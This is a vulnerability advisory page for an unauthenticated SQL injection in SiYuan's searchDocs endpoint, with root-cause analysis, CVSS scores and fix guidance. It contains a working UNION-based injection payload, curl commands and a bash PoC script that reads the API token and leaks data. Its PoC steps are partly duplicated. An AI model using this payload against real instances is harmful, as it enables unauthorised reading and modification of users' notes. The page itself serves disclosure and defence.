Skip to content

GHSA-33jq-p8c2-q3q4 CVE-2026-69085 GO-2026-6621

SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking

Critical Go
Severity
9.9 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
1.39%
Chance of exploitation in the next 30 days. Higher than 72.33% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Fix
0.0.0-20260721043339-eef10568384e
Upgrade github.com/siyuan-note/siyuan/kernel to this version or later

Description

Summary

The /api/filetree/searchDocs endpoint concatenates the caller-supplied search keyword directly into a SQL statement with no escaping and no parameter binding. The endpoint is gated by CheckAuth only reachable by the publish RoleReader token, and by the anonymous account when Publish.Auth.Enable is false. The resulting statement runs on a read-write SQLite handle through a driver that executes stacked (;-separated) statements, against the global blocks table spanning all cleartext notebooks. An unauthenticated request can therefore read and write database content across every non-encrypted notebook on the instance.

Details

Data flow, unescaped and unbound at every hop:

  • searchDocs (kernel/api/filetree.go): k := arg["k"].(string) passed straight to model.SearchDocs(k, …), no sanitization.
  • SearchDocs (kernel/model/file.go): after TrimSpace and strings.Fields, each token is spliced into a single-quoted LIKE literal by concatenation condition.WriteString("(hpath LIKE '%" + k + "%'"). No escaping, no '' doubling, no bind placeholder.
  • NAMFilter (kernel/conf/search.go): appends " OR name LIKE '%" + keyword + "%'" (and alias, memo) the same way, enabled by default.
  • QueryRootBlockByCondition (kernel/sql/block_query.go): "SELECT *, … FROM blocks WHERE type = 'd' AND " + condition + " ORDER BY … LIMIT …" passed to query(sqlStmt).

The only value-inspecting guard is ast.IsNodeIDPattern(keyword), which merely routes an exact-ID-shaped keyword to a different branch; a normal keyword falls through to the concatenation. strings.Fields prevents literal whitespace within a token this constrains payload construction but is not sanitization or confinement.

Driver / statement stacking. The driver is the vendored github.com/88250/go-sqlite3 (mattn fork), registered as sqlite3_extended. query() calls db.Query, and the driver's connection query implementation loops over ;-separated statements preparing and executing each in turn so a stacked statement executes for its side effects. SiYuan's CheckSingleStatement / CheckReadonlyStatement guards exist but are wired only into the explicit SQL endpoints (api/sql.go, cli, mcp); the searchDocs > query() path does not call them.

Handle. The DSN (kernel/model/database.go) sets _journal_mode=WAL&_synchronous=OFF&… with no mode=ro and no _query_only. It is the same read-write handle used for indexing Exec calls, so stacked INSERT/UPDATE/DELETE execute, and ATTACH is available. load_extension is not enabled in this build (no build tag / ConnectHook enabling it), so the ceiling is database read/write, not code execution.

Scope. The blocks table indexes every opened non-encrypted notebook. Encrypted notebooks use separate per-box databases and are excluded. Scope is therefore all cleartext notebook content on the instance cross-notebook, not publish-scoped.

Impact

An unauthenticated request (publish mode with auth disabled) or any publish RoleReader reaches an unescaped, unparameterized SQL concatenation on a read-write handle whose driver executes stacked statements, against a table spanning all cleartext notebooks. This permits cross-notebook disclosure of document content and, via statement stacking on the read-write handle, modification of database content (and ATTACH-reachable files). No admin role, no CSRF token, no write permission through the normal API is required; the publish surface alone is sufficient. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no load_extension).

Root cause

The keyword is split on whitespace and each token is spliced into a LIKE literal without escaping or binding:

  • SearchDocs builds each condition as (hpath LIKE '%<token>%' ...) (file.go:199).
  • NAMFilter appends OR name LIKE '%<token>%', alias, memo the same way (search.go:135-142).
  • QueryRootBlockByCondition concatenates that condition into SELECT *, length(hpath) - length(replace(hpath, '/', '')) AS lv FROM blocks WHERE type = 'd' AND <condition> ORDER BY box DESC, lv ASC LIMIT <n> and calls query() (block_query.go:74-75).
  • query() calls db.Query() with no call to the project's own CheckSingleStatement / CheckReadonlyStatement guards, which are wired only into api/sql.go (the explicit SQL endpoints), not this path (database.go:1426-1436).

The only pre-sink check is ast.IsNodeIDPattern (file.go:179), which merely routes exact-ID-shaped input to a different (also concatenated) branch, it does not sanitize.

Reachability / auth tier

  • Route middleware is model.CheckAuth only no CheckAdminRole.
  • The publish reverse proxy injects a token resolving to RoleReader, or the anonymous account when Publish.Auth.Enable=false. Both satisfy CheckAuth.
  • The handler applies no publish-access / read-only / role check, and SearchDocs applies no post-query scope filter.
  • Query targets the global blocks table = all opened non-encrypted notebooks (cross-boundary). Encrypted notebooks use separate DBs and are excluded.

Proof of concept (read-only discloses sqlite_version())

Demonstrated against a local instance. Read-only: the PoC runs a single SELECT … UNION SELECT and surfaces the SQLite version string through the search response. No data is modified.

1. Prerequisites

  • A local SiYuan kernel running (default http://127.0.0.1:6806).
  • The API token from Settings > About > API token (omit if no access-auth code is set).
  • One opened notebook id (17 chars), e.g. from POST /api/notebook/lsNotebooks.

2. Why the payload is shaped this way

  • The kernel places the keyword as hpath LIKE '%<K>%', so the payload closes the string literal and the condition group, appends a UNION SELECT, and comments out the trailing %', ORDER BY, and LIMIT.
  • The keyword is whitespace-split (strings.Fields), so literal spaces are replaced with /**/ SQL comments.
  • blocks has 21 columns; the query adds a computed lv, so the UNION SELECT must supply 22 values. Only col 5 (Box) and col 6 (Path) matter: col 5 must equal an opened notebook id (result loop skips rows whose box is not open file.go:230) and col 6 is returned verbatim as the response path field.

3. PoC

  1. Open the web UI once (unlocks + ensures a notebook is open)

  2. Browser > http://127.0.0.1:6806

  3. Enter the access-auth code: poctestcode

  4. Let it finish loading. A fresh instance opens with a default notebook in the left sidebar that's what the PoC needs (the injection surfaces through an open notebook). If the sidebar is empty, click + > New notebook, name it anything, and make sure it's open (bold, not greyed).

  5. Grab the API token

docker exec siyuan-poc grep -o '"token":"[^"]*"' /siyuan/workspace/conf/conf.json
TOKEN="paste_the_token_value_here"
  1. Get the open notebook's ID

curl -s -X POST "http://127.0.0.1:6806/api/notebook/lsNotebooks" -H "Authorization: Token $TOKEN" Copy an id whose "closed":false, then: BOX_ID="paste_that_id_here"

  1. Build the request body
cat > body.json <<EOF
{"k":"poc%')/**/union/**/select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"}
EOF

(The heredoc substitutes $BOX_ID for you, no manual editing.)

  1. Fire the injection

curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"' Expected: the SQLite version string, e.g. "path":"3.45.1", proof the keyword was executed as SQL. Screenshot this for the advisory.

  1. Confirm the row is genuinely injected (optional sanity check)

Run the same request with a benign keyword and confirm no version appears: curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d '{"k":"poc"}' | grep -o '"path":"[0-9][^"]*"' # returns nothing The differential (version appears only with the crafted keyword) is clean evidence for the report.


If Step 5 returns empty: 5. Fire the injection

curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"' Expected: the SQLite version string, e.g. "path":"3.45.1", proof the keyword was executed as SQL. Screenshot this for the advisory.

  1. Confirm the row is genuinely injected (optional sanity check)

Run the same request with a benign keyword and confirm no version appears: curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d '{"k":"poc"}' | grep -o '"path":"[0-9][^"]*"' # returns nothing

The differential (version appears only with the crafted keyword) is clean evidence for the report.

Or you can use this script to do the whole process at once:

#!/usr/bin/env bash
#
# siyuan_sqli_poc.sh
# Read-only PoC: proves SQL injection in /api/filetree/searchDocs by disclosing
# sqlite_version() through the search response. Modifies NO data.

set -u
export MSYS_NO_PATHCONV=1   # stop Git Bash from mangling container-absolute paths

# ---- config ---------------------------------------------------------------
BASE="${BASE:-http://127.0.0.1:6806}"
CONTAINER="${CONTAINER:-siyuan-poc}"
CONF="/siyuan/workspace/conf/conf.json"
# ---------------------------------------------------------------------------

CONF="/siyuan/workspace/conf/conf.json"
# ---------------------------------------------------------------------------

say()  { printf '\n\033[1m== %s\033[0m\n' "$*"; }
ok()   { printf '\033[32m[OK]\033[0m %s\n' "$*"; }
warn() { printf '\033[33m[!!]\033[0m %s\n' "$*"; }
die()  { printf '\033[31m[XX]\033[0m %s\n' "$*"; exit 1; }

# 1. container up?
say "Checking container"
docker ps --format '{{.Names}}' | grep -qx "$CONTAINER" \
  || die "Container '$CONTAINER' is not running. Start it, then re-run."
ok "container '$CONTAINER' is running"

# 2. API alive?
say "Waiting for kernel API"
for i in $(seq 1 30); do
  if curl -sf "$BASE/api/system/version" >/dev/null 2>&1; then
    ok "API responding at $BASE"; break
  fi
  sleep 1
  [ "$i" = 30 ] && die "API not responding. Open $BASE in a browser, enter the access code, then re-run."
done

# 3. token from conf.json
say "Reading API token"
TOKEN=$(docker exec "$CONTAINER" cat "$CONF" 2>/dev/null \
  | grep -oE '"token"[[:space:]]*:[[:space:]]*"[^"]*"' | head -1 \
  | sed -E 's/.*:[[:space:]]*"([^"]*)".*/\1/')
if [ -n "$TOKEN" ]; then
  ok "token found"
  AUTH=(-H "Authorization: Token $TOKEN")
else
  warn "no token in conf.json (instance may not be initialized, or auth is disabled)."
  warn "  -> open $BASE, enter the access code, let the UI load, then re-run."
  AUTH=()
fi

# 4. an OPEN notebook id
say "Finding an open notebook"
NB=$(curl -s -X POST "$BASE/api/notebook/lsNotebooks" "${AUTH[@]}")
BOX_ID=$(echo "$NB" | tr '}' '\n' | grep '"closed":false' \
  | grep -oE '"id":"[^"]+"' | head -1 | sed -E 's/"id":"([^"]+)"/\1/')
[ -n "$BOX_ID" ] || die "No OPEN notebook found. Open one in the UI ($BASE) and re-run.  Raw: $NB"
ok "using open notebook: $BOX_ID"

# 5. build the read-only payload (22-column UNION; col5=box, col6=sqlite_version())
say "Building request body"
PAYLOAD="poc%')/**/union/**/select/**/'poc','','poc','','${BOX_ID}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"
printf '{"k":"%s"}' "$PAYLOAD" > body.json
ok "wrote body.json"

# 6. fire the injection
say "Sending injection"
RESP=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \
  -H "Content-Type: application/json" "${AUTH[@]}" -d @body.json)
VER=$(echo "$RESP" | grep -oE '"path":"[0-9][^"]*"' | head -1 | sed -E 's/"path":"([^"]*)"/\1/')

# 7. benign differential (must NOT return a version)
BENIGN=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \
  -H "Content-Type: application/json" "${AUTH[@]}" -d '{"k":"poc"}' \
  | grep -oE '"path":"[0-9][^"]*"' | head -1)

# 8. verdict
say "Result"
if [ -n "$VER" ] && [ -z "$BENIGN" ]; then
  ok "SQL injection CONFIRMED"
  printf '     leaked sqlite_version() = \033[1m%s\033[0m\n' "$VER"
  printf '     (benign keyword returned no version -> value came from injected SQL)\n'
else
  warn "no version surfaced. Checking kernel log for the assembled statement..."
  docker exec "$CONTAINER" sh -c 'grep "sql query" /siyuan/workspace/temp/siyuan.log 2>/dev/null | tail -3' || true
  warn "If you see 'sql query [...] failed', it's a column-count mismatch on this build."
  warn "If no error line: the box filter dropped the row -> confirm BOX_ID is an OPEN notebook."
  printf '     raw response: %s\n' "$RESP"
fi

bash siyuan_sqli_poc.sh

<img width="809" height="376" alt="image" src="https://github.com/user-attachments/assets/e7875c16-a18b-4acb-811e-7385184bf6d4" />

Suggested fix

Parameterize the search. The load-bearing fix is at SearchDocs and NAMFilter: bind the keyword as a parameter rather than concatenating it, or at minimum escape ' and the LIKE metacharacters and pass via a bound argument. Secondarily, route the searchDocs > query() path through the existing CheckSingleStatement / CheckReadonlyStatement guards so this and any similar internal query path cannot stack statements or write. Consider opening the query handle used by read paths with _query_only=1.

Affected versions

Go

PackageVulnerableFixed in
github.com/siyuan-note/siyuan/kernel
< 0.0.0-20260721043339-eef10568384e
0.0.0-20260721043339-eef10568384e

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/siyuan-note/siyuan/kernel Go → 0.0.0-20260721043339-eef10568384e

go
go get github.com/siyuan-note/siyuan/kernel@v0.0.0-20260721043339-eef10568384e && go mod tidy

Severity breakdown

CVSS 4.0 9.9

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 10.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the data
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-9cqf-hhrq-7v45
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-57v5-wqx3-cgj4
SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-4wwp-f6gw-6qm5
SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-3cm4-ccvw-6xr6
SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/*
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-rpx2-p6hp-x5gj
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
Medium Also affects github.com/siyuan-note/siyuan/kernel
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor